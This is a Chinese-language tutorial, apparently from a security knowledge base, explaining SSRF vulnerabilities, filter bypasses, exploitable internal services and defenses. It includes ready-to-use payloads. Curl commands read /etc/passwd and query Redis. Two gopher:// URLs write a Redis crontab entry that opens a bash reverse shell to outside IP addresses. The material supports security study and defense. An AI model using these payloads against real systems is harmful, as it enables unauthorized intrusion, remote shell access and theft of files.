# 简介

服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF 攻击通常针对外部网络无法直接访问的内部系统。

# 漏洞危害

SSRF 可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用 File 协议读取本地文件。

内网服务防御相对外网服务来说一般会较弱,甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证,所以存在 SSRF 时,通常会造成较大的危害。

# 利用方式

SSRF 利用存在多种形式以及不同的场景,针对不同场景可以使用不同的利用和绕过方式。

以 curl 为例,可以使用 dict 协议操作 Redis、file 协议读文件、gopher 协议反弹 Shell 等功能,常见的 Payload 如下:

curl -vvv 'dict://127.0.0.1:6379/info'

curl -vvv 'file:///etc/passwd'

# * 注意: 链接使用单引号,避免$变量问题

curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

# 相关危险函数

SSRF 涉及到的危险函数主要是网络访问,支持伪协议的网络读取。以 PHP 为例,涉及到的函数有 file_get_contents() / fsockopen() / curl_exec() 等。

# 过滤绕过

# 更改 IP 地址写法

一些开发者会通过对传过来的 URL 参数进行正则匹配的方式来过滤掉内网 IP,如采用如下正则表达式:

  • ^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
  • ^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
  • ^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$

对于这种过滤我们采用改编 IP 的写法的方式进行绕过,例如 192.168.0.1 这个 IP 地址可以被改写成:

  • 8 进制格式:0300.0250.0.1
  • 16 进制格式:0xC0.0xA8.0.1
  • 10 进制整数格式:3232235521
  • 16 进制整数格式:0xC0A80001
  • 合并后两位:1.1.278 / 1.1.755
  • 合并后三位:1.278 / 1.755 / 3.14159267

另外 IP 中的每一位,各个进制可以混用。

访问改写后的 IP 地址时,Apache 会报 400 Bad Request,但 Nginx、MySQL 等其他服务仍能正常工作。

另外,0.0.0.0 这个 IP 可以直接访问到本地,也通常被正则过滤遗漏。

# 使用解析到内网的域名

如果服务端没有先解析 IP 再过滤内网地址,我们就可以使用 localhost 等解析到内网的域名。

另外 xip.io 提供了一个方便的服务,这个网站的子域名会解析到对应的 IP,例如 192.168.0.1.xip.io,解析到 192.168.0.1。

# 利用解析 URL 所出现的问题

在某些情况下,后端程序可能会对访问的 URL 进行解析,对解析出来的 host 地址进行过滤。这时候可能会出现对 URL 参数解析不当,导致可以绕过过滤。

比如 http://www.baidu.com@192.168.0.1/ 当后端程序通过不正确的正则表达式(比如将 http 之后到 com 为止的字符内容,也就是 www.baidu.com,认为是访问请求的 host 地址时)对上述 URL 的内容进行解析的时候,很有可能会认为访问 URL 的 host 为 www.baidu.com,而实际上这个 URL 所请求的内容都是 192.168.0.1 上的内容。

# 利用跳转

如果后端服务器在接收到参数后,正确的解析了 URL 的 host,并且进行了过滤,我们这个时候可以使用跳转的方式来进行绕过。

可以使用如 http://httpbin.org/redirect-to?url=http://192.168.0.1 等服务跳转,但是由于 URL 中包含了 192.168.0.1 这种内网 IP 地址,可能会被正则表达式过滤掉,可以通过短地址的方式来绕过。

常用的跳转有 302 跳转和 307 跳转,区别在于 307 跳转会转发 POST 请求中的数据等,但是 302 跳转不会。

# 通过各种非 HTTP 协议

如果服务器端程序对访问 URL 所采用的协议进行验证的话,可以通过非 HTTP 协议来进行利用。

比如通过 gopher,可以在一个 url 参数中构造 POST 或者 GET 请求,从而达到攻击内网应用的目的。例如可以使用 gopher 协议对与内网的 Redis 服务进行攻击,可以使用如下的 URL:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

除了 gopher 协议,File 协议也是 SSRF 中常用的协议,该协议主要用于访问本地计算机中的文件,我们可以通过类似 file:///path/to/file 这种格式来访问计算机本地文件。使用 file 协议可以避免服务端程序对于所访问的 IP 进行的过滤。例如我们可以通过 file:///d:/1.txt 来访问 D 盘中 1.txt 的内容。

# DNS Rebinding

一个常用的防护思路是:对于用户请求的 URL 参数,首先服务器端会对其进行 DNS 解析,然后对于 DNS 服务器返回的 IP 地址进行判断,如果在黑名单中,就禁止该次请求。

但是在整个过程中,第一次去请求 DNS 服务进行域名解析到第二次服务端去请求 URL 之间存在一个时间差,利用这个时间差,可以进行 DNS 重绑定攻击。

要完成 DNS 重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的 DNS Server,在我们的可控的 DNS Server 上编写解析服务,设置 TTL 时间为 0。这样就可以进行攻击了,完整的攻击流程为:

  • 服务器端获得 URL 参数,进行第一次 DNS 解析,获得了一个非内网的 IP
  • 对于获得的 IP 进行判断,发现为非黑名单 IP,则通过验证
  • 服务器端对于 URL 进行访问,由于 DNS 服务器设置的 TTL 为 0,所以再次进行 DNS 解析,这一次 DNS 服务器返回的是内网地址。
  • 由于已经绕过验证,所以服务器端返回访问内网资源的结果。

# 利用 IPv6

有些服务没有考虑 IPv6 的情况,但是内网又支持 IPv6,则可以使用 IPv6 的本地 IP 如 [::] 0000::1 或 IPv6 的内网域名来绕过过滤。

# 利用 IDN

一些网络访问工具如 Curl 等是支持国际化域名(Internationalized Domain Name,IDN)的,国际化域名又称特殊字符域名,是指部分或完全使用特殊的文字或字母组成的互联网域名。

在这些字符中,部分字符会在访问时做一个等价转换,例如 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜexample.com 等同。利用这种方式,可以用 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ 等字符绕过内网限制。

# 可能的利用点

# 内网服务

  • Apache Hadoop 远程命令执行
  • axis2-admin 部署 Server 命令执行
  • Confluence SSRF
  • counchdb WEB API 远程命令执行
  • dict
  • docker API 远程命令执行
  • Elasticsearch 引擎 Groovy 脚本命令执行
  • ftp /ftps(FTP 爆破)
  • glassfish 任意文件读取和 war 文件部署间接命令执行
  • gopher
  • HFS 远程命令执行
  • http、https
  • imap/imaps/pop3/pop3s/smtp/smtps(爆破邮件用户名密码)
  • Java 调试接口命令执行
  • JBOSS 远程 Invoker war 命令执行
  • Jenkins Scripts 接口命令执行
  • ldap
  • mongodb
  • php_fpm/fastcgi 命令执行
  • rtsp - smb/smbs(连接 SMB)
  • sftp
  • ShellShock 命令执行
  • Struts2 命令执行
  • telnet
  • tftp(UDP 协议扩展)
  • tomcat 命令执行
  • WebDav PUT 上传任意文件
  • WebSphere Admin 可部署 war 间接命令执行
  • zentoPMS 远程命令执行

# Redis 利用

  • 写 ssh 公钥
  • 写 crontab
  • 写 WebShell
  • Windows 写启动项
  • 主从复制加载 .so 文件
  • 主从复制写无损文件

# 云主机

在 AWS、Google 等云环境下,通过访问云环境的元数据 API 或管理 API,在部分情况下可以实现敏感信息等效果。

# 防御方式

  • 过滤返回的信息
  • 统一错误信息
  • 限制请求的端口
  • 禁止不常用的协议
  • 对 DNS Rebinding,考虑使用 DNS 缓存或者 Host 白名单

# 参考链接

  • SSRF 漏洞分析与利用
  • A New Era Of SSRF
  • php ssrf technique
  • 谈一谈如何在 Python 开发中拒绝 SSRF 漏洞
  • SSRF Tips
  • SSRF in PHP